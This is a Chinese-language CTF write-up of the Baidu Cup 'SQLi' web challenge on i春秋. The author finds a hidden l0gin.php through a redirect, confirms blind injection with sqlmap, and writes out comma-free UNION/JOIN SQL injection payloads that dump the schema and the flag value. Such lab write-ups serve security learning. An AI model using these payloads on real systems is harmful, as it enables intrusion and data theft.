1. 程式人生 > 實用技巧 >“百度杯”CTF比賽 九月場 型別:Web 題目名稱:SQLi ---不需要逗號的注入技巧

“百度杯”CTF比賽 九月場 型別:Web 題目名稱:SQLi ---不需要逗號的注入技巧

今天在i春秋做題的時候遇到了一道非常好的題目,於是在參考了wp的基礎上自己復現了一遍,算作一種技巧的學習與收藏吧。
題目i春秋連線:https://www.ichunqiu.com/battalion?t=1&r=54791
訪問地址,發現什麼都沒有,

檢視頁面原始碼,發現提示

訪問地址
http://69ef94c7ef5e47b580ed5c7bae472bc4c3b492503f964143.game.ichunqiu.com/login.php?id=1
得到下面頁面

我去,不會這就注入進去了吧?!話不多說,上sqlmap,

嘗試了好多次,發現這就是個假的注入點,果然沒那麼簡單啊,,,,

設定代理,利用工具Burp Suite看看究竟發生了什麼,,,
可以看到在訪問地址
http://69ef94c7ef5e47b580ed5c7bae472bc4c3b492503f964143.game.ichunqiu.com的時候,302,頁面重定向了。
注意看,下面兩個圖片


在302重定向回覆報文中,url已經改變,原來箭頭那裡是3l,被重定向到31,6不6,哈哈。並且看到了新的頁面地址l0gin.php?id=1
訪問地址
http://69ef94c7ef5e47b580ed5c7bae472bc4c3b492503f964143.game.ichunqiu.com/l0gin.php?id=1

得到下圖

修改引數,再次執行,

OK,看來這個確實是一個注入點,再用sqlmap測試,從結果可以看到這既是一個基於布林的盲注,也是一個基於時間的盲注

接著爆資料庫,發現無法得到,沒辦法,只能手工注入了,
這裡我選擇基於布林的盲注,因為這樣的回顯比基於時間的看起來明顯。
輸入引數
1' and ascii(substr((select database()),1,1))>64 %23
查詢資料庫名,發現,注入失敗,並且,後面的sql語句被過濾掉了,id欄位輸出的應該就是過濾後的sql語句了

從網上看到一篇講不需要逗號的mysql注入文章,http://wonderkun.cc/index.html/?p=442

於是重新構造payload,如id=-1' union select * from (select group_concat(distinct(table_schema)) from information_schema.tables ) a join (select version() ) b %23
可以看到資料庫名稱為sqli

緊接著,構造payload,獲取表名
-1' union select * from (select group_concat(distinct(table_name)) from information_schema.tables where table_schema='sqli') a join (select version() ) b %23

構造payload,獲取欄位名
-1' union select * from (select group_concat(distinct(column_name)) from information_schema.columns where table_schema='sqli' and table_name='users') a join (select version() ) b %23

構造payload,獲取欄位值,得到flag{34303304-de0b-4bad-a0df-84eb8a420df8}
-1' union select * from (select group_concat(distinct(flag_9c861b688330)) from users) a join (select version() ) b %23